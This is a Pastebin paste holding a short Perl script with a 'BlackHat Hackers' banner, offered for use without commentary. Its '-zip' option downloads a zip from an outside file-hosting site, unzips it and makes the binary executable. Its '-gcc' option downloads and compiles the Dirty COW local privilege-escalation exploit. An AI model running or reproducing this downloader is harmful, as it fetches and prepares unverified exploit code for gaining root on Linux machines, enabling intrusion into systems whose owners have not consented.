alifazel

dirty

May 30th, 2017
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. #!/usr/bin/perl
  2. print "\n\t [+]-------------------------------------------------------[+]\n";
  3. print "\t [!] !BlackHat Hackers! [!]\n";
  4. print "\t [!] Perl dirty.pl -gcc = gcc [!]\n";
  5. print "\t [!] Perl dirty.pl -zip = unzip [!]\n";
  6. print "\t [+]---------------------------------------------------------[+]\n";
  7. if ($ARGV[0] eq "-zip")
  8. {
  9. system('wget http://rozup.ir/download/2201689/dirty.zip');
  10. system('unzip dirty.zip');
  11. system('chmod +x dirty');
  12. print "\t [!] ~ok Wget And unzip > ./dirty [!]\n";
  13. }
  14. if ($ARGV[0] eq "-gcc")
  15. {
  16. system('wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c');
  17. system('gcc -pthread dirty.c -o dirty -lcrypt');
  18. print "\t [!] ~ok Wget And gcc > ./dirty [!]\n";
  19. }
Advertisement
Add Comment
Please, Sign In to add comment